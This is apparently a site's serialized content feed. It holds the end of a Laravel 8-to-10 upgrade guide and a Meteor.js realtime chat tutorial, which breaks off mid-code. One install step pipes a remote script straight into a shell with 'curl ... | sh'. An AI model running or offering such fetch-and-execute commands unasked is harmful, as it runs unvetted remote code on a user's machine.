$config\n    );\n});\n",[612,12182,12180],{"__ignoreMap":66},[403,12184,12186],{"id":12185},"changed-migrate-from-swift-mailer-to-symfony-mailer","[Changed] Migrate from Swift Mailer to Symfony Mailer:",[11,12188,12189],{},"In Lavarel 8 and the previous version, Laravel used the Swift Mailer library to send outgoing emails. However, that library is no longer maintained and has been succeeded by Symfony Mailer, which made this transition one of the largest changes. Therefore, you must refactor your code base as below.",[11,12191,12192,12195],{},[20,12193,12194],{},"Renamed \"Swift\" Methods:"," various SwiftMailer-related methods, some of which were undocumented, have been renamed to their Symfony Mailer counterparts. Use the advanced search of your IDE and perform the mass replacement for these methods with the following:",[11,12197,12198],{},[20,12199,12200],{},"MessageSent Event Changes:",[11,12202,12203],{},"Illuminate\\Mail\\Events\\MessageSent event has changed to include an instance of type Symfony\\Component\\Mime\\Email instead of type Swift_Message. This instance contains data about the message before it is sent. At the same time, a new property called sent has been added too. This new property contains data about the message after it is sent, for example, the MessageID.",[11,12205,12206],{},[20,12207,12208],{},"Failed Recipients:",[11,12210,12211],{},"It is no longer possible to retrieve a list of failed recipients after sending a message. Instead, a Symfony\\Component\\Mailer\\Exception\\TransportExceptionInterface exception will be thrown if a message fails to send.",[403,12213,12215],{"id":12214},"comprehensive-exam",[20,12216,12217],{},"Comprehensive Exam:",[11,12219,12220],{},"We have created the exam to check your comprehension of this article. Let’s try it!!",[11,12222,12223],{},[55,12224,3254],{"href":3254,"rel":12225},[59],[403,12227,12228],{"id":2890},[20,12229,201],{},[31,12231,12232,12238,12244,12251,12258,12264,12270],{},[34,12233,12234],{},[55,12235,12236],{"href":12236,"rel":12237},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F9.x\u002Freleases",[59],[34,12239,12240],{},[55,12241,12242],{"href":12242,"rel":12243},"https:\u002F\u002Flaravel.com\u002Fdocs\u002F10.x\u002Freleases",[59],[34,12245,12246],{},[55,12247,12250],{"href":12248,"rel":12249},"https:\u002F\u002Flaracasts.com\u002Fseries\u002Fwhats-new-in-laravel-9",[59],"Laracasts: What's New in Laravel 9",[34,12252,12253],{},[55,12254,12257],{"href":12255,"rel":12256},"https:\u002F\u002Flaracasts.com\u002Fseries\u002Fwhats-new-in-laravel-10",[59],"Laracasts: What's New in Laravel 10",[34,12259,12260],{},[55,12261,12262],{"href":12262,"rel":12263},"https:\u002F\u002Fgithub.com\u002Flaravel\u002Flaravel\u002Fcompare\u002F8.x...9.x",[59],[34,12265,12266],{},[55,12267,12268],{"href":12268,"rel":12269},"https:\u002F\u002Fgithub.com\u002Flaravel\u002Flaravel\u002Fcompare\u002F9.x...10.x",[59],[34,12271,12272],{},[55,12273,12274],{"href":12274,"rel":12275},"https:\u002F\u002Fsecurity.snyk.io\u002Fpackage\u002Fcomposer\u002Flaravel%2Fframework",[59],{"title":66,"searchDepth":67,"depth":67,"links":12277},[12278,12279,12281,12282,12283,12284,12285,12286,12287,12288,12289,12290,12291,12292,12293,12294,12295,12296,12301,12302,12308,12309,12310,12311,12312,12314,12315,12316,12317,12318,12319,12320,12321,12322,12323,12324,12325,12326],{"id":11146,"depth":67,"text":11147},{"id":11166,"depth":67,"text":12280},"1. Laravel Pennant:",{"id":11200,"depth":67,"text":11201},{"id":11211,"depth":67,"text":11212},{"id":11243,"depth":67,"text":11244},{"id":11269,"depth":67,"text":11270},{"id":11284,"depth":67,"text":11285},{"id":11299,"depth":67,"text":11300},{"id":11310,"depth":67,"text":11311},{"id":11341,"depth":67,"text":11342},{"id":11352,"depth":67,"text":11353},{"id":11367,"depth":67,"text":11368},{"id":11381,"depth":67,"text":11382},{"id":11392,"depth":67,"text":11393},{"id":11403,"depth":67,"text":11404},{"id":11418,"depth":67,"text":11419},{"id":11436,"depth":67,"text":11437},{"id":11453,"depth":67,"text":11454,"children":12297},[12298,12299,12300],{"id":11478,"depth":1306,"text":11479},{"id":11492,"depth":1306,"text":11493},{"id":11503,"depth":1306,"text":11504},{"id":11556,"depth":67,"text":11557},{"id":11563,"depth":67,"text":11564,"children":12303},[12304,12305,12306,12307],{"id":11567,"depth":1306,"text":11570},{"id":11643,"depth":1306,"text":11646},{"id":11740,"depth":1306,"text":11743},{"id":11772,"depth":1306,"text":11775},{"id":11791,"depth":67,"text":11792},{"id":11804,"depth":67,"text":11805},{"id":11849,"depth":67,"text":11850},{"id":11865,"depth":67,"text":11866},{"id":11954,"depth":67,"text":12313},"[Deprecated] - Blade - Lazy Collections & The $loop Variable:",{"id":11970,"depth":67,"text":11971},{"id":11989,"depth":67,"text":11990},{"id":12017,"depth":67,"text":12018},{"id":12039,"depth":67,"text":12040},{"id":12066,"depth":67,"text":12067},{"id":12083,"depth":67,"text":12084},{"id":12099,"depth":67,"text":12100},{"id":12112,"depth":67,"text":12113},{"id":12147,"depth":67,"text":12148},{"id":12160,"depth":67,"text":12161},{"id":12185,"depth":67,"text":12186},{"id":12214,"depth":67,"text":12217},{"id":2890,"depth":67,"text":201},"2023-05-23","Why should you migrate from Laravel 8? Laravel's new version is now released yearly. Changes such as deprecated features and new features keep coming up. Therefore, the more versions ahead from the latest version you are, the more \"painful\" and time-consuming it is to upgrade compared with upgrading regularly. The main reason for this is that you let your codebase grow too large (classes, methods, and functions become more and more dependent on the others), and it is much harder to make any breaking change. Another thing you should be aware of is that since Laravel 10 was released, Laravel 8 is neither in maintenance nor has support. Therefore, the sooner your project gets upgraded, the better things will be.",{},"\u002Fnews\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10",{"title":11141,"description":12328},"news\u002Ftinh-nang-moi-va-cach-nang-cap-version-tu-laravel-8-len-laravel-10","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F06151008\u002Flaravel-8-upgrade-thumbnail.jpg","sBAH7vd5kF2dfd2ZTY3x-Wovxug7WzDr8SCsGvWAYlI",{"id":12336,"title":12337,"body":12338,"category":262,"created by":70,"date":12344,"description":259,"extension":72,"meta":12345,"navigation":74,"path":12346,"sections":76,"seo":12347,"stem":12348,"thumbnail":12349,"__hash__":12350},"content_en\u002Fnews\u002Fto-chuc-kiem-thu.md","(日本語) テストの組織",{"type":8,"value":12339,"toc":12342},[12340],[11,12341,259],{},{"title":66,"searchDepth":67,"depth":67,"links":12343},[],"2025-02-10",{},"\u002Fnews\u002Fto-chuc-kiem-thu",{"title":12337,"description":259},"news\u002Fto-chuc-kiem-thu","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F02\u002F07125742\u002FScreenshot-2025-02-07-125700.png","p0ugP6z02zYUfUMxb74I-1bTVGhLtb-Dlp5txGJnLwk",{"id":12352,"title":12353,"body":12354,"category":69,"created by":3000,"date":12361,"description":12358,"extension":72,"meta":12362,"navigation":74,"path":12363,"sections":76,"seo":12364,"stem":12365,"thumbnail":12366,"__hash__":12367},"content_en\u002Fnews\u002Ftuyen-dung-experienced-it-communicator.md","(Vietnamese) Tuyển dụng Experienced IT Communicator",{"type":8,"value":12355,"toc":12359},[12356],[11,12357,12358],{},"Sorry, this entry is only available in Vietnamese.",{"title":66,"searchDepth":67,"depth":67,"links":12360},[],"2025-07-14",{},"\u002Fnews\u002Ftuyen-dung-experienced-it-communicator",{"title":12353,"description":12358},"news\u002Ftuyen-dung-experienced-it-communicator","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2025\u002F07\u002F14161503\u002FWe-are-1-e1752484829402.png","0G_uRHuXA5iM2jkL7qJtzsneIe9UFlcjK1pwNMzLHy4",{"id":12369,"title":12370,"body":12371,"category":1319,"created by":13140,"date":13141,"description":13142,"extension":72,"meta":13143,"navigation":74,"path":13144,"sections":76,"seo":13145,"stem":13146,"thumbnail":13147,"__hash__":13148},"content_en\u002Fnews\u002Fxay-dung-ung-dung-chat-realtime-voi-framework-meteor-js.md","Building a Realtime Chat application with Meteor.js framework",{"type":8,"value":12372,"toc":13130},[12373,12377,12380,12383,12387,12390,12396,12402,12408,12414,12420,12426,12430,12437,12441,12446,12449,12455,12466,12472,12476,12483,12487,12502,12508,12511,12515,12521,12527,12534,12538,12542,12552,12578,12584,12603,12608,12616,12622,12628,12632,12635,12640,12647,12653,12663,12669,12674,12681,12692,12698,12704,12722,12731,12738,12744,12753,12759,12766,12772,12775,12781,12787,12794,12800,12803,12813,12817,12822,12827,12833,12842,12848,12853,12859,12862,12866,12871,12886,12892,12901,12907,12914,12920,12926,12932,12937,12943,12955,12961,12975,12981,12984,12988,12993,12997,13002,13006,13010,13014,13027,13031,13043,13047,13059,13063,13075,13079,13091,13093,13096,13101,13107,13110,13112,13118,13124],[395,12374,12375],{"id":2654},[20,12376,2655],{},[11,12378,12379],{},"Meteor (Meteor.js) is a JavaScript Full-Stack framework built on Node.js. It helps in developing web and mobile applications quickly and efficiently. With its design optimized for smooth integration between the client and server, Meteor not only simplifies the process of sharing code but also enhances the experience with real-time data.",[11,12381,12382],{},"If you're looking for a quick app development solution or want to expand your knowledge of modern web technologies, this article will give you a comprehensive and deep understanding of Meteor.",[395,12384,12386],{"id":12385},"outstanding-features-of-meteor","Outstanding features of Meteor",[11,12388,12389],{},"In this section, we'll dive deeper into the outstanding features of Meteor, which make this framework unique and distinct in the web and mobile development field:",[11,12391,12392,12395],{},[20,12393,12394],{},"Smooth Integration between Client and Server:"," Meteor provides a reactive data model that allows instant data updates on both client and server without needing complex data synchronization code.",[11,12397,12398,12401],{},[20,12399,12400],{},"Code Sharing between Client and Server:"," With Meteor, sharing code becomes easy, optimizing the development and maintenance process of applications.",[11,12403,12404,12407],{},[20,12405,12406],{},"Real-Time Data Updates:"," Meteor uses the Distributed Data Protocol (DDP) to synchronize data between client and server, making app data updates quick and smooth.",[11,12409,12410,12413],{},[20,12411,12412],{},"Strong Ecosystem:"," Meteor has a rich ecosystem with thousands of packages and tools, from integrating with MongoDB to deploying apps with Galaxy, Meteor's hosting service.",[11,12415,12416,12419],{},[20,12417,12418],{},"Hot Code Push Feature:"," This feature allows developers to update their apps without disrupting the user experience, a significant benefit in maintaining and updating applications.",[11,12421,12422,12425],{},[20,12423,12424],{},"Cross-Platform:"," Code once, and you can deploy it as a web app, or build it into a mobile app for Android, or iOS.",[395,12427,12429],{"id":12428},"getting-started-with-meteorjs","Getting Started with Meteor.js",[11,12431,12432,12433,12436],{},"To start with Meteor, make sure you have Node.js installed on your computer. Currently, Meteor supports Node.js versions ",[20,12434,12435],{},"10 to 14",", with Meteor 3.0 being developed to support the latest versions of Node.js.",[403,12438,12440],{"id":12439},"installing-meteor","Installing Meteor",[11,12442,12443],{},[20,12444,12445],{},"Windows, Linux, and OS X:",[11,12447,12448],{},"You can install Meteor on all these platforms using the following command in the terminal:",[605,12450,12453],{"className":12451,"code":12452,"language":610},[608],"npm install -g meteor\n",[612,12454,12452],{"__ignoreMap":66},[11,12456,12457,12458,12461,12462,12465],{},"Also, on ",[20,12459,12460],{},"Linux and OS X",", Meteor can be installed via ",[612,12463,12464],{},"curl"," using the following command:",[605,12467,12470],{"className":12468,"code":12469,"language":610},[608],"curl https:\u002F\u002Finstall.meteor.com\u002F | sh\n",[612,12471,12469],{"__ignoreMap":66},[403,12473,12475],{"id":12474},"creating-a-simple-realtime-chat-application","Creating a Simple Realtime Chat Application",[11,12477,12478,12479,12482],{},"Let's learn more about ",[20,12480,12481],{},"Meteor.js"," by creating a simple real-time chat project.",[1693,12484,12486],{"id":12485},"_1-initializing-the-project","1. Initializing the Project:",[11,12488,12489,12490,12493,12494,12497,12498,12501],{},"For a quick setup, use the ",[612,12491,12492],{},"meteor create"," command with the ",[612,12495,12496],{},"--blaze"," option and name your project. In this case, we'll call the project “",[20,12499,12500],{},"simple-chat-meteor","”:",[605,12503,12506],{"className":12504,"code":12505,"language":610},[608],"meteor create --blaze simple-chat-meteor\n",[612,12507,12505],{"__ignoreMap":66},[11,12509,12510],{},"After successful initialization, you will receive the following message in the terminal:",[438,12512],{"className":12513,"alt":66,"src":12514,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19133739\u002Fimg01-e1708324777843.png",[11,12516,12517,12518,712],{},"To run the app, move to the project folder and use the command ",[612,12519,12520],{},"meteor run",[605,12522,12525],{"className":12523,"code":12524,"language":610},[608],"cd simple-chat-meteor\nmeteor run\n",[612,12526,12524],{"__ignoreMap":66},[11,12528,12529,12530,12533],{},"Open a browser and go to ",[55,12531,7402],{"href":2733,"rel":12532},[59]," to see your app.",[438,12535],{"className":12536,"alt":66,"src":12537,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19135639\u002Fimg02.png",[1693,12539,12541],{"id":12540},"_2-project-structure","2. Project Structure:",[11,12543,12544,12548,12551],{},[438,12545],{"className":12546,"alt":66,"src":12547,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F20092348\u002Fimg09.png",[20,12549,12550],{},".meteor",": This is the most important folder in any Meteor app. It contains the core configuration files of your Meteor application and subfolders like:",[31,12553,12554,12560,12566,12572],{},[34,12555,12556,12559],{},[20,12557,12558],{},"local",": Contains local data and log files for your app.",[34,12561,12562,12565],{},[20,12563,12564],{},"packages",": Lists the libraries your app uses.",[34,12567,12568,12571],{},[20,12569,12570],{},"platforms",": The platforms your app supports.",[34,12573,12574,12577],{},[20,12575,12576],{},"versions",": Contains the versions of the libraries your app is using.",[11,12579,12580,12583],{},[20,12581,12582],{},"client",": Contains the client-side code of the app and usually includes:",[31,12585,12586,12592,12598],{},[34,12587,12588,12591],{},[20,12589,12590],{},"main.css",": The main CSS file for client styles.",[34,12593,12594,12597],{},[20,12595,12596],{},"main.html",": The main HTML file, usually the starting point of the app with layout and template definitions.",[34,12599,12600,12602],{},[20,12601,12590],{},": The main JavaScript file for the client, where you define events and helpers for Blaze templates.",[11,12604,12605,12607],{},[20,12606,8064],{},": Contains the server-side code of the app and typically includes:",[31,12609,12610],{},[34,12611,12612,12615],{},[20,12613,12614],{},"main.js",": The main JavaScript file for the server, where you set up publications and methods as well as server initialization configurations.",[11,12617,12618,12621],{},[20,12619,12620],{},"tests",": Contains your app's test files.",[11,12623,12624,12627],{},[20,12625,12626],{},"node_modules",": Contains the NPM packages your project depends on.",[1693,12629,12631],{"id":12630},"_3-implementing-features","3. Implementing Features:",[11,12633,12634],{},"In this section, we'll go through the necessary steps to add functionality to our Meteor chat app, including setting up the user interface, handling events, and building login, and logout functionality.",[11,12636,12637],{},[20,12638,12639],{},"User Interface Setup",[11,12641,12642,12643,12646],{},"In the “",[20,12644,12645],{},"client\u002Fmain.html","” file: We'll define the basic HTML structure for your chat app, including the title and meta-tags to optimize display on mobile devices.",[605,12648,12651],{"className":12649,"code":12650,"language":610},[608],"\u003Chead>\n  \u003Ctitle>Simple Chat Meteor\u003C\u002Ftitle>\n  \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" \u002F>\n  \u003Cmeta charset=\"utf-8\"\u002F>\n  \u003Cmeta http-equiv=\"x-ua-compatible\" content=\"ie=edge\"\u002F>\n  \u003Cmeta\n      name=\"viewport\"\n      content=\"width=device-width, height=device-height, viewport-fit=cover, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no\"\n  \u002F>\n  \u003Cmeta name=\"mobile-web-app-capable\" content=\"yes\"\u002F>\n  \u003Cmeta name=\"apple-mobile-web-app-capable\" content=\"yes\"\u002F>\n\u003C\u002Fhead>\n",[612,12652,12650],{"__ignoreMap":66},[11,12654,12642,12655,12658,12659,12662],{},[20,12656,12657],{},"client\u002Fmain.js","\", we import the “",[20,12660,12661],{},"Chat.js","\" file to initialize the chat UI.",[605,12664,12667],{"className":12665,"code":12666,"language":610},[608],"import '..\u002Fimports\u002Fui\u002FChat\u002FChat.js';\n",[612,12668,12666],{"__ignoreMap":66},[11,12670,12671],{},[20,12672,12673],{},"Event and Data Handling",[11,12675,12676,12677,12680],{},"Create an “",[20,12678,12679],{},"imports","” folder to contain code divided by UI and logic.",[11,12682,12683,12684,12687,12688,12691],{},"Inside “",[20,12685,12686],{},"imports\u002Fui\u002FChat","”, create a “",[20,12689,12690],{},"Chat.html","” file to define the interface of the chat application. We'll use Blaze templates to organize content and display logic:",[605,12693,12696],{"className":12694,"code":12695,"language":610},[608],"\u003Cbody>\n    {{> chatContainer}}\n\u003C\u002Fbody>\n\n\u003Ctemplate name=\"chatContainer\">\n    \u003Cdiv class=\"chat-container\">\n        \u003Cdiv class=\"chat-header\">\n            \u003Ch2>Simple Chat Meteor\u003C\u002Fh2>\n        \u003C\u002Fdiv>\n\n        {{> chatContent}}\n    {{> chatInput}}\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"chatContent\">\n    \u003Cdiv class=\"chat-content\">\n        {{#each chats}}\n        \u003Cdiv class=\"message\">\n            \u003Cdiv class=\"username\">{{ username }}\u003C\u002Fdiv>\n            \u003Cdiv class=\"message-content\">{{ messageText }}\u003C\u002Fdiv>\n        \u003C\u002Fdiv>\n        {{\u002Feach}}\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"chatInput\">\n    \u003Cdiv class=\"chat-input\">\n        \u003Cinput id=\"message\" type=\"text\" placeholder=\"Input your message...\" \u002F>\n        \u003Cbutton id=\"sendMessage\">Send\u003C\u002Fbutton>\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[612,12697,12695],{"__ignoreMap":66},[11,12699,12700,12703],{},[20,12701,12702],{},"chatContainer",": The main template contains the entire chat application interface, including the app's title (chat-header) and chat content.",[11,12705,12706,12709,12710,12713,12714,12717,12718,12721],{},[20,12707,12708],{},"chatContent",": A smaller template used to display chat content. It iterates through each “",[20,12711,12712],{},"chats","” (message), showing the “",[20,12715,12716],{},"username","” (sender's name) and “",[20,12719,12720],{},"messageText","” (message content).",[11,12723,12724,12727,12728,12730],{},[20,12725,12726],{},"chatInput",": Another template allowing users to send new messages. It includes an input field for typing messages and a “",[20,12729,8443],{},"” button to send the message.",[11,12732,12733,12734,12737],{},"Add CSS in the “",[20,12735,12736],{},"client\u002Fmain.css","” file:",[605,12739,12742],{"className":12740,"code":12741,"language":610},[608],":root {\n  --main-bg-color: #f0f2f5;\n  --chat-bg-color: #fff;\n  --highlight-color: #f69914;\n  --text-color-white: #fff;\n  --border-color: #ddd;\n  --input-border-color: #ccc;\n  --hover-bg-color: #0056b3;\n}\n\nbody {\n  font-family: Arial, sans-serif;\n  display: flex;\n  justify-content: center;\n  align-items: center;\n  height: 100vh;\n  overflow: hidden;\n  margin: 0;\n  background-color: var(--main-bg-color);\n}\n\n.chat-container {\n  height: 100%;\n  width: 600px;\n  border: 1px solid var(--border-color);\n  background-color: var(--chat-bg-color);\n  display: flex;\n  flex-direction: column;\n}\n\n.chat-header {\n  display: flex;\n  justify-content: space-between;\n  align-items: center;\n  background-color: var(--highlight-color);\n  color: var(--text-color-white);\n  height: 68px;\n  padding: 0px 10px;\n}\n\n.chat-header button#logout {\n  height: 30px;\n  background-color: transparent;\n  cursor: pointer;\n  color: var(--text-color-white);\n  border: 1px solid var(--chat-bg-color);\n  border-radius: 10px;\n}\n\n.chat-content {\n  padding: 10px;\n  height: calc(100vh - 90px - 57px);\n  overflow-y: auto;\n  gap: 10px;\n}\n\n.chat-content .message {\n  background-color: #f1f1f1;\n  padding: 10px;\n  border-radius: 10px;\n  display: flex;\n  flex-direction: column;\n}\n\n.chat-content .message:not(:first-child) {\n  margin-top: 10px;\n}\n\n.chat-content .message .username {\n  font-weight: bold;\n  color: var(--highlight-color);\n}\n\n.chat-content .message .message-content {\n  margin-top: 5px;\n}\n\n.chat-input {\n  display: flex;\n  padding: 10px;\n  height: 57px;\n  box-sizing: border-box;\n}\n\n.chat-input input {\n  flex: 1;\n  padding: 10px;\n  margin-right: 10px;\n  border: 1px solid var(--input-border-color);\n  border-radius: 4px;\n}\n\n.chat-input button {\n  padding: 10px;\n  background-color: var(--highlight-color);\n  color: white;\n  border: none;\n  border-radius: 4px;\n  cursor: pointer;\n}\n\n.chat-input button:hover {\n  background-color: var(--hover-bg-color);\n}\n\n.auth-container {\n  background-color: white;\n  padding: 40px;\n  border-radius: 5px;\n  box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);\n  width: 300px;\n}\n\n.auth-container h2 {\n  text-align: center;\n  margin-bottom: 20px;\n}\n\n.auth-container p span {\n  text-decoration: underline;\n  color: var(--hover-bg-color);\n  cursor: pointer;\n}\n\n#loginForm .input-group,\n#signupForm .input-group {\n  margin-bottom: 15px;\n  display: flex;\n  flex-direction: column;\n}\n\n#loginForm .input-group label,\n#signupForm .input-group label {\n  margin-bottom: 5px;\n}\n\n#loginForm .input-group input,\n#signupForm .input-group input {\n  padding: 10px;\n  border: 1px solid var(--border-color);\n  border-radius: 4px;\n}\n\n#loginForm button,\n#signupForm button {\n  background-color: orange;\n  color: white;\n  padding: 10px;\n  border: none;\n  border-radius: 4px;\n  cursor: pointer;\n  width: 100%;\n}\n\n#loginForm button:hover,\n#signupForm button:hover {\n  background-color: darkorange;\n}\n",[612,12743,12741],{"__ignoreMap":66},[11,12745,12642,12746,12749,12750,12737],{},[20,12747,12748],{},"imports\u002Fapi","” folder, create a “",[20,12751,12752],{},"ChatsCollection.js",[605,12754,12757],{"className":12755,"code":12756,"language":610},[608],"import { Mongo } from 'meteor\u002Fmongo';\n\nexport const ChatsCollection = new Mongo.Collection('chats');\n",[612,12758,12756],{"__ignoreMap":66},[11,12760,12642,12761,12749,12763,12737],{},[20,12762,12748],{},[20,12764,12765],{},"ChatsPublications.js",[605,12767,12770],{"className":12768,"code":12769,"language":610},[608],"import { Meteor } from \"meteor\u002Fmeteor\";\n\nimport { ChatsCollection } from \".\u002FChatsCollection\";\n\nMeteor.publish(\"chats\", function () {\n  return ChatsCollection.find({}, { sort: { createdAt: -1 } });\n});\n",[612,12771,12769],{"__ignoreMap":66},[11,12773,12774],{},"Next, we'll connect to the Meteor chat database, subscribe to chat data from the server, and use it to display messages in chronological order in the user interface.",[11,12776,12777,12778,12737],{},"Add the following code to the “",[20,12779,12780],{},"imports\u002Fui\u002FChat\u002FChat.js",[605,12782,12785],{"className":12783,"code":12784,"language":610},[608],"import { Template } from \"meteor\u002Ftemplating\";\nimport { ChatsCollection } from \"\u002Fimports\u002Fapi\u002FChatsCollection\";\nimport \".\u002FChat.html\";\n\nMeteor.subscribe(\"chats\");\n\nTemplate.chatContent.helpers({\n  chats() {\n    return ChatsCollection.find({}, { sort: { createdAt: 1 } });\n  },\n});\n",[612,12786,12784],{"__ignoreMap":66},[11,12788,12789,12790,12793],{},"Replace the code in the “",[20,12791,12792],{},"server\u002Fmain.js","” file as follows:",[605,12795,12798],{"className":12796,"code":12797,"language":610},[608],"import { Meteor } from \"meteor\u002Fmeteor\";\nimport { ChatsCollection } from \"\u002Fimports\u002Fapi\u002FChatsCollection\";\nimport '\u002Fimports\u002Fapi\u002FChatsPublications';\n\nMeteor.startup(() => {\n  if (ChatsCollection.find().count() === 0) {\n    ChatsCollection.insert({\n      messageText: 'Welcome to the chat app!',\n      createdAt: new Date(),\n      username: \"Admin\",\n    });\n  }\n});\n",[612,12799,12797],{"__ignoreMap":66},[11,12801,12802],{},"The goal is to check if there are no messages when the server starts, and then add a default message.",[11,12804,12805,12806,12808,12809,12812],{},"→ Start the Meteor.js application with ",[612,12807,12520],{}," and go to ",[55,12810,7402],{"href":7402,"rel":12811},[59]," to see the result.",[438,12814],{"className":12815,"alt":66,"src":12816,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19160033\u002Fimg04.png",[11,12818,12819],{},[20,12820,12821],{},"Implementing the Send Message Functionality:",[11,12823,12642,12824,12826],{},[20,12825,12780],{},"” file, add the following code:",[605,12828,12831],{"className":12829,"code":12830,"language":610},[608],"...\n\nTemplate.body.events({\n  \"click #sendMessage\": function () {\n    const messageElement = document.querySelector(\"#message\");\n    if (messageElement.value.trim()) {\n      Meteor.call(\"chats.sendMessage\", messageElement.value.trim());\n      messageElement.value = \"\";\n    }\n  },\n});\n",[612,12832,12830],{"__ignoreMap":66},[11,12834,12642,12835,12837,12838,12841],{},[20,12836,12748],{},"” folder, create a “",[20,12839,12840],{},"ChatsMethods.js","” file and add the following code:",[605,12843,12846],{"className":12844,"code":12845,"language":610},[608],"import { Meteor } from 'meteor\u002Fmeteor';\nimport { ChatsCollection } from \".\u002FChatsCollection\";\n\nMeteor.methods({\n    'chats.sendMessage'(message) {\n      ChatsCollection.insert({\n        messageText: message,\n        createdAt: new Date(),\n        username: \"Admin\"\n      });\n    }\n});\n",[612,12847,12845],{"__ignoreMap":66},[11,12849,12850,12851,12737],{},"Next, import the newly created method into the “",[20,12852,12792],{},[605,12854,12857],{"className":12855,"code":12856,"language":610},[608],"...\nimport '\u002Fimports\u002Fapi\u002FChatsMethods';\n...\n",[612,12858,12856],{"__ignoreMap":66},[11,12860,12861],{},"Let's try sending a message now.",[438,12863],{"className":12864,"alt":66,"src":12865,"style":444},[441,442],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19161822\u002Fimg05.png",[11,12867,12868],{},[20,12869,12870],{},"Implementing Login, Register, and Logout Functions:",[11,12872,12873,12874,12879,12880,12885],{},"We will install the “",[20,12875,12876],{},[51,12877,12878],{},"accounts-password","” and “",[20,12881,12882],{},[51,12883,12884],{},"bcrypt","” packages:",[605,12887,12890],{"className":12888,"code":12889,"language":610},[608],"meteor add accounts-password\nmeteor npm install --save bcrypt\n",[612,12891,12889],{"__ignoreMap":66},[11,12893,12642,12894,12897,12898,12841],{},[20,12895,12896],{},"imports\u002Fui\u002FAuth","” folder, create an “",[20,12899,12900],{},"Auth.html",[605,12902,12905],{"className":12903,"code":12904,"language":610},[608],"\u003Ctemplate name=\"authContainer\">\n    {{> Template.dynamic template=currentView}}\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"loginContainer\">\n    \u003Cdiv class=\"auth-container\" >\n        \u003Ch2>Login\u003C\u002Fh2>\n        \u003Cform id=\"loginForm\">\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"username\">Username\u003C\u002Flabel>\n                \u003Cinput type=\"text\" id=\"username\" name=\"username\" required>\n            \u003C\u002Fdiv>\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"password\">Password\u003C\u002Flabel>\n                \u003Cinput type=\"password\" id=\"password\" name=\"password\" required>\n            \u003C\u002Fdiv>\n            \u003Cbutton type=\"submit\">Login\u003C\u002Fbutton>\n        \u003C\u002Fform>\n\n        \u003Cp>Don’t have an account yet?\n            \u003Cspan>Sign up\u003C\u002Fspan>\n        \u003C\u002Fp>\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"signupContainer\">\n    \u003Cdiv class=\"auth-container\" >\n        \u003Ch2>Sign up\u003C\u002Fh2>\n        \u003Cform id=\"signupForm\">\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"username\">Username\u003C\u002Flabel>\n                \u003Cinput type=\"text\" id=\"username\" name=\"username\" required>\n            \u003C\u002Fdiv>\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"password\">Password\u003C\u002Flabel>\n                \u003Cinput type=\"password\" id=\"password\" name=\"password\" required>\n            \u003C\u002Fdiv>\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"confirmPassword\">Confirm Password\u003C\u002Flabel>\n                \u003Cinput type=\"password\" id=\"rePassword\" name=\"confirmPassword\" required>\n            \u003C\u002Fdiv>\n            \u003Cbutton type=\"submit\">Sign up\u003C\u002Fbutton>\n        \u003C\u002Fform>\n\n        \u003Cp>Already have an account?\n            \u003Cspan>Login here\u003C\u002Fspan>\n        \u003C\u002Fp>\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[612,12906,12904],{"__ignoreMap":66},[11,12908,12642,12909,12897,12911,12841],{},[20,12910,12896],{},[20,12912,12913],{},"Auth.js",[605,12915,12918],{"className":12916,"code":12917,"language":610},[608],"import { Template } from \"meteor\u002Ftemplating\";\nimport \".\u002FAuth.html\";\n\nimport { ReactiveVar } from \"meteor\u002Freactive-var\";\n\ncurrentView = new ReactiveVar(\"loginContainer\");\n\nTemplate.authContainer.helpers({\n  currentView: function () {\n    return currentView.get();\n  },\n});\n\nTemplate.loginContainer.events({\n  \"click span\": function (e) {\n    e.preventDefault();\n    currentView.set(\"signupContainer\");\n  },\n  \"submit #loginForm\"(e) {\n    e.preventDefault();\n\n    const target = e.target;\n\n    const username = target.username.value;\n    const password = target.password.value;\n\n    Meteor.loginWithPassword(username, password, (err) => {\n      if (err) {\n        alert(err);\n      }\n    });\n  },\n});\n\nTemplate.signupContainer.events({\n  \"click span\": function (e) {\n    e.preventDefault();\n    currentView.set(\"loginContainer\");\n  },\n  \"submit #signupForm\"(e) {\n    e.preventDefault();\n\n    const target = e.target;\n\n    const username = target.username.value;\n    const password = target.password.value;\n    const confirmPassword = target.confirmPassword.value;\n\n    if (password !== confirmPassword) {\n      alert(\"Password do not match\");\n      return;\n    }\n\n    Accounts.createUser(\n      {\n        